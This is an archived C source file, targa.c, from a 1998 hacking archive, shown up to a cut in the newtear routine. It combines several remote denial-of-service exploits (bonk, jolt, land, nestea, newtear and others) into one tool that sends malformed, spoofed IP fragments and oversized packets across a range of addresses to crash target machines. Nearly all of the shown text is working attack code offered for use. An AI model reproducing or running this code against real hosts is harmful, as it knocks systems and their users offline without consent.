home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / targa.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  34KB  |  1,170 lines

  1. /* targa.c - copyright by Mixter <mixter@gmx.net>
  2.    version 1.0 - released 6/24/98 - interface to 8
  3.    multi-platform remote denial of service exploits 
  4.  
  5.  */
  6.  
  7. /* gcc -O2 targa.c -o targa ; strip targa
  8.    _Should_ compile on: Linux 2.0.x 2.1.x, SunOS 5.x,
  9.    Most BSD's (with FIX(n) redefined!) */
  10.  
  11. /* parts of code copyrighted by their original authors */
  12.  
  13. /* bonk by route|daemon9 & klepto
  14.  * jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
  15.  * land by m3lt
  16.  * nestea by humble & ttol
  17.  * newtear by route|daemon9
  18.  * syndrop by PineKoan
  19.  * teardrop by route|daemon9
  20.  * winnuke by _eci */
  21.  
  22. /* these are user definable */
  23. #define LANDPORT "113"        /* remote port for land's */
  24. #define LANDREP 5        /* repeat land attack x times */
  25. #define JOLTREP 15        /* repeat jolt attack x times */
  26. #define BONKREP 15        /* repeat bonk attack x times */
  27. #define COUNT   0x15        /* repeat frag attacks x times */
  28. #define NESCOUNT  500        /* repeat nestea attack x times */
  29. #define WNUKEPORT 139        /* port for winnukes */
  30. #define WNUKEREP 1        /* repeat winnuke x times */
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <string.h>
  35. #include <time.h>
  36. #include <unistd.h>
  37. #include <arpa/inet.h>
  38. #include <netdb.h>
  39. #include <netinet/in.h>
  40. #include <netinet/in_systm.h>
  41. #include <netinet/ip.h>
  42. #include <netinet/ip_icmp.h>
  43. #include <netinet/ip_tcp.h>
  44. #include <netinet/ip_udp.h>
  45. #include <netinet/protocols.h>
  46. #include <netinet/udp.h>
  47. #include <sys/socket.h>
  48. #include <sys/time.h>
  49. #include <sys/types.h>
  50. #define FIX(n)  htons(n)    /* define this to (n), if using BSD */
  51. #define IPH     0x14        /* IP header size */
  52. #define UDPH    0x8        /* UDP header size */
  53. #define IP_MF   0x2000        /* Fragmention offset */
  54. #define MAGIC   0x3        /* Teardrop Magic fragmentation constant (tm) */
  55. #define MAGIC2  108        /* Nestea Magic fragmentation constant (tm) */
  56. #define NESPADDING 256        /* Padding for Nestea */
  57. #define PADDING 0x14        /* Padding for other frag's */
  58. #define TCPH    sizeof(struct tcphdr)    /* TCP header size (nestea) */
  59. #define TPADDING 0x1c        /* Padding for original teardrop */
  60.  
  61. /* main() - user interface & some functions */
  62.  
  63. struct ipstuph
  64.   {
  65.     int p1;
  66.     int p2;
  67.     int p3;
  68.     int p4;
  69.   }
  70. startip, endip;
  71.  
  72. void targa (u_char *);
  73. u_long leet_resolve (u_char *);
  74. u_short in_cksum (u_short *, int);
  75.  
  76. int 
  77. main (int argc, char **argv)
  78. {
  79.   int one = 1, count = 1, i, j, rip_sock, bequiet = 0, dostype = 0;
  80.   u_long src_ip = 0;
  81.   u_short src_prt = 0, dst_prt = 0;
  82.   char hit_ip[18], dst_ip2[18], dst_ip[4096];
  83.   struct in_addr addr;
  84.  
  85.   fprintf (stderr, "\t\ttarga 1.0 by Mixter\n");
  86.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  87.     {
  88.       perror ("cannot open raw socket");
  89.       exit (1);
  90.     }
  91.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  92.       < 0)
  93.     {
  94.       perror ("IP_HDRINCL");
  95.       exit (1);
  96.     }
  97.   if (argc < 3)
  98.     targa (argv[0]);
  99.   strcpy (dst_ip, argv[1]);
  100.   strcpy (dst_ip2, argv[2]);
  101.   if (sscanf (argv[1], "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
  102.     {
  103.       fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n", argv[1]);
  104.       exit (1);
  105.     }
  106.   if (startip.p1 > 255)
  107.     {
  108.       fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
  109.       exit (1);
  110.     }
  111.   if (startip.p2 > 255)
  112.     {
  113.       fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
  114.       exit (1);
  115.     }
  116.   if (startip.p3 > 255)
  117.     {
  118.       fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
  119.       exit (1);
  120.     }
  121.   if (startip.p4 > 255)
  122.     {
  123.       fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
  124.       exit (1);
  125.     }
  126.   if (sscanf (argv[2], "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
  127.     {
  128.       fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
  129.       exit (1);
  130.     }
  131.   if (endip.p1 > 255)
  132.     {
  133.       fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
  134.       exit (1);
  135.     }
  136.   if (endip.p2 > 255)
  137.     {
  138.       fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
  139.       exit (1);
  140.     }
  141.   if (endip.p3 > 255)
  142.     {
  143.       fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
  144.       exit (1);
  145.     }
  146.   if (endip.p4 > 255)
  147.     {
  148.       fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
  149.       exit (1);
  150.     }
  151.   if (startip.p1 != endip.p1)
  152.     {
  153.       fprintf (stderr, "Zone 1 of start ip and end ip is different\n");
  154.       exit (1);
  155.     }
  156.   if (startip.p2 != endip.p2)
  157.     {
  158.       fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
  159.       exit (1);
  160.     }
  161.   if (startip.p3 != endip.p3)
  162.     {
  163.       fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
  164.       exit (1);
  165.     }
  166.   while ((i = getopt_long (argc, argv, "t:n:h")) != EOF)
  167.     {
  168.       switch (i)
  169.     {
  170.     case 't':
  171.       dostype = atoi (optarg);    /* type of DOS */
  172.       break;
  173.     case 'n':        /* number to send */
  174.       count = atoi (optarg);
  175.       break;
  176.     case 'h':        /* quiet mode */
  177.       targa_help (argv[0]);
  178.       break;
  179.     default:
  180.       targa (argv[0]);
  181.       break;        /* NOTREACHED */
  182.     }
  183.     }
  184.   srandom ((unsigned) (time ((time_t) 0)));
  185.   fprintf (stderr, "Leetness on f1laxen wings:\n");
  186.   fprintf (stderr, "To%s - %s\n", dst_ip,
  187.        dst_ip2);
  188.   fprintf (stderr, "Repeats%5d\n", count);
  189.   fprintf (stderr, "   Type%5d\n", dostype);
  190.  
  191.   for (j = startip.p4; j <= endip.p4; j++)
  192.     {
  193.       sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
  194.       fprintf (stderr, "%s ", hit_ip);
  195.       for (i = 0; i < count; i++)
  196.     {
  197.       hax0r (hit_ip, dostype);
  198.       usleep (10);
  199.     }
  200.       fprintf (stderr, " ]\n");
  201.     }
  202.   fprintf (stderr, "\t-all done-\n");
  203.   return (0);
  204. }
  205. int 
  206. hax0r (char *vm, int te)
  207. {
  208. /* beginning of hardcoded ereetness :P */
  209.   if (te == 1 || te == 0)
  210.     bonk (vm);
  211.   if (te == 2 || te == 0)
  212.     jolt (vm);
  213.   if (te == 3 || te == 0)
  214.     land (vm);
  215.   if (te == 4 || te == 0)
  216.     nestea (vm);
  217.   if (te == 5 || te == 0)
  218.     newtear (vm);
  219.   if (te == 6 || te == 0)
  220.     syndrop (vm);
  221.   if (te == 7 || te == 0)
  222.     teardrop (vm);
  223.   if (te == 8 || te == 0)
  224.     winnuke (vm);
  225.   return (31337);
  226. }
  227. u_long 
  228. leet_resolve (u_char * host_name)
  229. {
  230.   struct in_addr addr;
  231.   struct hostent *host_ent;
  232.  
  233.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  234.     {
  235.       if (!(host_ent = gethostbyname (host_name)))
  236.     return (0);
  237.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  238.     }
  239.   return (addr.s_addr);
  240. }
  241. void 
  242. targa (u_char * name)
  243. {
  244.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  245.   fprintf (stderr, "\ttype %s - -h to get more help\n", name);
  246.   exit (0);
  247. }
  248. int 
  249. targa_help (u_char * name)
  250. {
  251.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  252.   fprintf (stderr, "startIP - endIP: IP range to send packets to (destination)\n");
  253.   fprintf (stderr, "start and end must be on the same C class (1.1.1.X)\n");
  254.   fprintf (stderr, "repeats: repeat the whole cycle n times (default is 1)\n");
  255.   fprintf (stderr, "type: kind of remote DoS to send (default is 0)\n");
  256.   fprintf (stderr, "1 = bonk ($)  2 = jolt (@)  3 = land (-)\n");
  257.   fprintf (stderr, "4 = nestea (.)  5 = newtear (#)\n");
  258.   fprintf (stderr, "6 = syndrop (&)  7 = teardrop (%%)  8 = winnuke (*)\n");
  259.   fprintf (stderr, "0 = use all remote DoS types at once\n");
  260.   exit (0);
  261. }
  262.  
  263. /* bonk(destination) */
  264.  
  265. struct udp_pkt
  266. {
  267.   struct iphdr ip;
  268.   struct udphdr udp;
  269.   char data[0x1c];
  270. }
  271. pkt;
  272.  
  273. int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
  274.   psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;    /* Socket */
  275.  
  276. u_long 
  277. host_to_ip (char *host_name)
  278. {
  279.   static u_long ip_bytes;
  280.   struct hostent *res;
  281.   res = gethostbyname (host_name);
  282.   if (res == NULL)
  283.     return (0);
  284.   memcpy (&ip_bytes, res->h_addr, res->h_length);
  285.   return (ip_bytes);
  286. }
  287.  
  288. void 
  289. quit (char *reason)
  290. {
  291.   perror (reason);
  292.   close (spf_sck);
  293.   exit (-1);
  294. }
  295.  
  296. int 
  297. fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
  298.     int dst_prt)
  299. {
  300.   int bs;
  301.   struct sockaddr_in to;
  302.  
  303.   memset (&pkt, 0, psize);
  304.   /* Fill in ip header */
  305.   pkt.ip.version = 4;
  306.   pkt.ip.ihl = 5;
  307.   pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
  308.   pkt.ip.id = htons (0x455);
  309.   pkt.ip.ttl = 255;
  310.   pkt.ip.protocol = IP_UDP;
  311.   pkt.ip.saddr = src_addr;
  312.   pkt.ip.daddr = dst_addr;
  313.   pkt.ip.frag_off = htons (0x2000);    /* more to come */
  314.  
  315.   pkt.udp.source = htons (src_prt);    /* udp header */
  316.   pkt.udp.dest = htons (dst_prt);
  317.   pkt.udp.len = htons (8 + 0x1c);
  318.   /* send 1st frag */
  319.  
  320.   to.sin_family = AF_INET;
  321.   to.sin_port = src_prt;
  322.   to.sin_addr.s_addr = dst_addr;
  323.  
  324.   bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
  325.            sizeof (struct sockaddr));
  326.  
  327.   pkt.ip.frag_off = htons (0x3 + 1);    /* shinanigan */
  328.   pkt.ip.tot_len = htons (iplen + 0x3);
  329.   /* 2nd frag */
  330.  
  331.   bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
  332.            (struct sockaddr *) &to, sizeof (struct sockaddr));
  333.  
  334.   return bs;
  335. }
  336.  
  337. int 
  338. bonk (char *bonk_host)
  339. {
  340.   u_long src_addr, dst_addr;
  341.   int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
  342.   dst_addr = host_to_ip (bonk_host);
  343.   if (!dst_addr)
  344.     quit ("bad target host");
  345.   spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  346.   if (!spf_sck)
  347.     quit ("socket()");
  348.   if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  349.           sizeof (bs)) < 0)
  350.     quit ("IP_HDRINCL");
  351.   for (i = 0; i < pkt_count; ++i)
  352.     {
  353.       fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
  354.       fprintf (stderr, "$");
  355.       usleep (10000);
  356.     }
  357. }
  358.  
  359. /* jolt(destination) */
  360.  
  361. int 
  362. jolt (char *jolt_host)
  363. {
  364.   int s, i;
  365.   char buf[400];
  366.   struct ip *ip = (struct ip *) buf;
  367.   struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
  368.   struct hostent *hp, *hp2;
  369.   struct sockaddr_in dst;
  370.   int offset;
  371.   int on = 1;
  372.   int num = JOLTREP;
  373.  
  374.   bzero (buf, sizeof buf);
  375.  
  376.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  377.     {
  378.       perror ("socket");
  379.       exit (1);
  380.     }
  381.   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
  382.     {
  383.       perror ("IP_HDRINCL");
  384.       exit (1);
  385.     }
  386.   for (i = 1; i <= num; i++)
  387.     {
  388.  
  389.       if ((hp = gethostbyname (jolt_host)) == NULL)
  390.     {
  391.       if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
  392.         {
  393.           fprintf (stderr, "%s: unknown host\n", jolt_host);
  394.           exit (1);
  395.         }
  396.     }
  397.       else
  398.     {
  399.       bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  400.     }
  401.  
  402.       ip->ip_src.s_addr = rand ();
  403.       fprintf (stderr, "@");
  404.       inet_ntoa (ip->ip_dst);
  405.       ip->ip_v = 4;
  406.       ip->ip_hl = sizeof *ip >> 2;
  407.       ip->ip_tos = 0;
  408.       ip->ip_len = htons (sizeof buf);
  409.       ip->ip_id = htons (4321);
  410.       ip->ip_off = htons (0);
  411.       ip->ip_ttl = 255;
  412.       ip->ip_p = 1;
  413.       ip->ip_csum = 0;        /* kernel fills in */
  414.  
  415.       dst.sin_addr = ip->ip_dst;
  416.       dst.sin_family = AF_INET;
  417.  
  418.       icmp->type = ICMP_ECHO;
  419.       icmp->code = 0;
  420.       icmp->checksum = htons (~(ICMP_ECHO << 8));
  421.       for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
  422.     {
  423.       ip->ip_off = htons (offset >> 3);
  424.       if (offset < 65120)
  425.         ip->ip_off |= htons (0x2000);
  426.       else
  427.         ip->ip_len = htons (418);    /* make total 65538 */
  428.       if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
  429.               sizeof dst) < 0)
  430.         {
  431.           fprintf (stderr, "offset %d: ", offset);
  432.           perror ("sendto");
  433.         }
  434.       if (offset == 0)
  435.         {
  436.           icmp->type = 0;
  437.           icmp->code = 0;
  438.           icmp->checksum = 0;
  439.         }
  440.     }
  441.     }
  442.   return 0;
  443. }
  444.  
  445. /* land(destination,port) */
  446.  
  447. struct pseudohdr
  448. {
  449.   struct in_addr saddr;
  450.   struct in_addr daddr;
  451.   u_char zero;
  452.   u_char protocol;
  453.   u_short length;
  454.   struct tcphdr tcpheader;
  455. };
  456.  
  457. u_short 
  458. checksum (u_short * data, u_short length)
  459. {
  460.   register long value;
  461.   u_short i;
  462.  
  463.   for (i = 0; i < (length >> 1); i++)
  464.     value += data[i];
  465.  
  466.   if ((length & 1) == 1)
  467.     value += (data[i] << 8);
  468.  
  469.   value = (value & 65535) + (value >> 16);
  470.  
  471.   return (~value);
  472. }
  473.  
  474. int 
  475. land (char *land_host)
  476. {
  477.   struct sockaddr_in sin;
  478.   struct hostent *hoste;
  479.   int sock, i;
  480.   char buffer[40];
  481.   struct iphdr *ipheader = (struct iphdr *) buffer;
  482.   struct tcphdr *tcpheader = (struct tcphdr *) (buffer + sizeof (struct iphdr));
  483.   struct pseudohdr pseudoheader;
  484.   static char *land_port = LANDPORT;
  485.   bzero (&sin, sizeof (struct sockaddr_in));
  486.   sin.sin_family = AF_INET;
  487.  
  488.   if ((hoste = gethostbyname (land_host)) != NULL)
  489.     bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
  490.   else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
  491.     {
  492.       fprintf (stderr, "unknown host %s\n", land_host);
  493.       return (-1);
  494.     }
  495.  
  496.   if ((sin.sin_port = htons (atoi (land_port))) == 0)
  497.     {
  498.       fprintf (stderr, "unknown port %s\n", land_port);
  499.       return (-1);
  500.     }
  501.  
  502.   if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
  503.     {
  504.       fprintf (stderr, "couldn't allocate raw socket\n");
  505.       return (-1);
  506.     }
  507.  
  508.   bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcphdr));
  509.   ipheader->version = 4;
  510.   ipheader->ihl = sizeof (struct iphdr) / 4;
  511.   ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcphdr));
  512.   ipheader->id = htons (0xF1C);
  513.   ipheader->ttl = 255;
  514.   ipheader->protocol = IP_TCP;
  515.   ipheader->saddr = sin.sin_addr.s_addr;
  516.   ipheader->daddr = sin.sin_addr.s_addr;
  517.  
  518.   tcpheader->th_sport = sin.sin_port;
  519.   tcpheader->th_dport = sin.sin_port;
  520.   tcpheader->th_seq = htonl (0xF1C);
  521.   tcpheader->th_flags = TH_SYN;
  522.   tcpheader->th_off = sizeof (struct tcphdr) / 4;
  523.   tcpheader->th_win = htons (2048);
  524.  
  525.   bzero (&pseudoheader, 12 + sizeof (struct tcphdr));
  526.   pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
  527.   pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
  528.   pseudoheader.protocol = 6;
  529.   pseudoheader.length = htons (sizeof (struct tcphdr));
  530.   bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcphdr));
  531.   tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct tcphdr));
  532.   for (i = 0; i < LANDREP; i++)
  533.     {
  534.       if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcphdr), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
  535.     {
  536.       fprintf (stderr, "couldn't send packet\n");
  537.       return (-1);
  538.     }
  539.       fprintf (stderr, "-");
  540.     }
  541.   close (sock);
  542.   return (0);
  543. }
  544.  
  545. /* nestea(source, destination) */
  546.  
  547. u_long name_resolve (u_char *);
  548. u_short in_cksum (u_short *, int);
  549. void send_nes (int, u_long, u_long, u_short, u_short);
  550.  
  551. int 
  552. nestea (char *nes_host)
  553. {
  554.   int one = 1, count = 0, i, rip_sock;
  555.   u_long src_ip = 0, dst_ip = 0;
  556.   u_short src_prt = 0, dst_prt = 0;
  557.   struct in_addr addr;
  558.  
  559.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  560.     {
  561.       perror ("raw socket");
  562.       exit (1);
  563.     }
  564.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  565.       < 0)
  566.     {
  567.       perror ("IP_HDRINCL");
  568.       exit (1);
  569.     }
  570.   if (!(dst_ip = name_resolve (nes_host)))
  571.     {
  572.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  573.       exit (1);
  574.     }
  575.   src_ip = rand ();
  576.   srandom ((unsigned) (time ((time_t) 0)));
  577.   src_prt = (random () % 0xffff);
  578.   dst_prt = (random () % 0xffff);
  579.   count = NESCOUNT;
  580.  
  581.   addr.s_addr = src_ip;
  582.   addr.s_addr = dst_ip;
  583.   for (i = 0; i < count; i++)
  584.     {
  585.       send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  586.       fprintf (stderr, ".");
  587.       usleep (500);
  588.     }
  589.   return (0);
  590. }
  591.  
  592. void 
  593. send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  594.       u_short dst_prt)
  595. {
  596.   int i;
  597.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  598.   u_char byte;            /* a byte */
  599.   struct sockaddr_in sin;    /* socket protocol structure */
  600.  
  601.   sin.sin_family = AF_INET;
  602.   sin.sin_port = src_prt;
  603.   sin.sin_addr.s_addr = dst_ip;
  604.  
  605.   packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
  606.   p_ptr = packet;
  607.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  608.  
  609.   byte = 0x45;            /* IP version and header length */
  610.   memcpy (p_ptr, &byte, sizeof (u_char));
  611.   p_ptr += 2;            /* IP TOS (skipped) */
  612.   *((u_short *) p_ptr) = FIX (IPH + UDPH + 10);        /* total length */
  613.   p_ptr += 2;
  614.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  615.   p_ptr += 2;
  616.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  617.   p_ptr += 2;
  618.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  619.   byte = IPPROTO_UDP;
  620.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  621.   p_ptr += 4;            /* IP checksum filled in by kernel */
  622.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  623.   p_ptr += 4;
  624.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  625.   p_ptr += 4;
  626.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  627.   p_ptr += 2;
  628.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  629.   p_ptr += 2;
  630.   *((u_short *) p_ptr) = htons (8 + 10);    /* UDP total length */
  631.  
  632.   if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
  633.           sizeof (struct sockaddr)) == -1)
  634.     {
  635.       perror ("\nsendto");
  636.       free (packet);
  637.       exit (1);
  638.     }
  639.  
  640.   p_ptr = packet;
  641.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  642.  
  643.   byte = 0x45;            /* IP version and header length */
  644.   memcpy (p_ptr, &byte, sizeof (u_char));
  645.   p_ptr += 2;            /* IP TOS (skipped) */
  646.   *((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2);    /* total length */
  647.   p_ptr += 2;
  648.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  649.   p_ptr += 2;
  650.   *((u_short *) p_ptr) = FIX (6);    /* IP frag flags and offset */
  651.   p_ptr += 2;
  652.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  653.   byte = IPPROTO_UDP;
  654.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  655.   p_ptr += 4;            /* IP checksum filled in by kernel */
  656.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  657.   p_ptr += 4;
  658.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  659.   p_ptr += 4;
  660.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  661.   p_ptr += 2;
  662.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  663.   p_ptr += 2;
  664.   *((u_short *) p_ptr) = htons (8 + MAGIC2);    /* UDP total length */
  665.  
  666.   if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
  667.           sizeof (struct sockaddr)) == -1)
  668.     {
  669.       perror ("\nsendto");
  670.       free (packet);
  671.       exit (1);
  672.     }
  673.  
  674.   p_ptr = packet;
  675.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
  676.   byte = 0x4F;            /* IP version and header length */
  677.   memcpy (p_ptr, &byte, sizeof (u_char));
  678.   p_ptr += 2;            /* IP TOS (skipped) */
  679.   *((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
  680.   p_ptr += 2;
  681.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  682.   p_ptr += 2;
  683.   *((u_short *) p_ptr) = 0 | FIX (IP_MF);    /* IP frag flags and offset */
  684.   p_ptr += 2;
  685.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  686.   byte = IPPROTO_UDP;
  687.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  688.   p_ptr += 4;            /* IP checksum filled in by kernel */
  689.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  690.   p_ptr += 4;
  691.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  692.   p_ptr += 44;
  693.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  694.   p_ptr += 2;
  695.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  696.   p_ptr += 2;
  697.   *((u_short *) p_ptr) = htons (8 + NESPADDING);    /* UDP total length */
  698.  
  699.   for (i = 0; i < NESPADDING; i++)
  700.     {
  701.       p_ptr[i++] = random () % 255;
  702.     }
  703.  
  704.   if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
  705.           sizeof (struct sockaddr)) == -1)
  706.     {
  707.       perror ("\nsendto");
  708.       free (packet);
  709.       exit (1);
  710.     }
  711.   free (packet);
  712. }
  713.  
  714. u_long 
  715. name_resolve (u_char * host_name)
  716. {
  717.   struct in_addr addr;
  718.   struct hostent *host_ent;
  719.  
  720.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  721.     {
  722.       if (!(host_ent = gethostbyname (host_name)))
  723.     return (0);
  724.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  725.     }
  726.   return (addr.s_addr);
  727. }
  728.  
  729. /* newtear(destination) */
  730.  
  731. void newt_frags (int, u_long, u_long, u_short, u_short);
  732.  
  733. int 
  734. newtear (char *newt_host)
  735. {
  736.   int one = 1, count = 0, i, rip_sock;
  737.   u_long src_ip = 0, dst_ip = 0;
  738.   u_short src_prt = 0, dst_prt = 0;
  739.   struct in_addr addr;
  740.  
  741.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  742.     {
  743.       perror ("raw socket");
  744.       exit (1);
  745.     }
  746.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  747.       < 0)
  748.     {
  749.       perror ("IP_HDRINCL");
  750.       exit (1);
  751.     }
  752.   if (!(dst_ip = name_resolve (newt_host)))
  753.     {
  754.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  755.       exit (1);
  756.     }
  757.   src_ip = rand ();
  758.   srandom ((unsigned) (time ((time_t) 0)));
  759.   src_prt = (random () % 0xffff);
  760.   dst_prt = (random () % 0xffff);
  761.   count = COUNT;
  762.  
  763.   addr.s_addr = src_ip;
  764.   addr.s_addr = dst_ip;
  765.  
  766.   for (i = 0; i < count; i++)
  767.     {
  768.       newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  769.       fprintf (stderr, "#");
  770.       usleep (500);
  771.     }
  772.   return (0);
  773. }
  774.  
  775. /*
  776.  *  Send two IP fragments with pathological offsets.  We use an implementation
  777.  *  independent way of assembling network packets that does not rely on any of
  778.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  779.  */
  780.  
  781. void 
  782. newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  783.         u_short dst_prt)
  784. {
  785.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  786.   u_char byte;            /* a byte */
  787.   struct sockaddr_in sin;    /* socket protocol structure */
  788.  
  789.   sin.sin_family = AF_INET;
  790.   sin.sin_port = src_prt;
  791.   sin.sin_addr.s_addr = dst_ip;
  792.  
  793.   /*
  794.    * Grab some memory for our packet, align p_ptr to point at the beginning
  795.    * of our packet, and then fill it with zeros.
  796.    */
  797.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  798.   p_ptr = packet;
  799.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    // Set it all to zero
  800.  
  801.   byte = 0x45;            /* IP version and header length */
  802.   memcpy (p_ptr, &byte, sizeof (u_char));
  803.   p_ptr += 2;            /* IP TOS (skipped) */
  804.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  805.   p_ptr += 2;
  806.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  807.   p_ptr += 2;
  808.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  809.   p_ptr += 2;
  810.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  811.   byte = IPPROTO_UDP;
  812.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  813.   p_ptr += 4;            /* IP checksum filled in by kernel */
  814.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  815.   p_ptr += 4;
  816.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  817.   p_ptr += 4;
  818.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  819.   p_ptr += 2;
  820.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  821.   p_ptr += 2;
  822.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* UDP total length *//* Increases UDP total length to 48 bytes
  823.                                Which is too big! */
  824.  
  825.   if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
  826.           sizeof (struct sockaddr)) == -1)
  827.     {
  828.       perror ("\nsendto");
  829.       free (packet);
  830.       exit (1);
  831.     }
  832.  
  833.   /*  We set the fragment offset to be inside of the previous packet's
  834.    *  payload (it overlaps inside the previous packet) but do not include
  835.    *  enough payload to cover complete the datagram.  Just the header will
  836.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
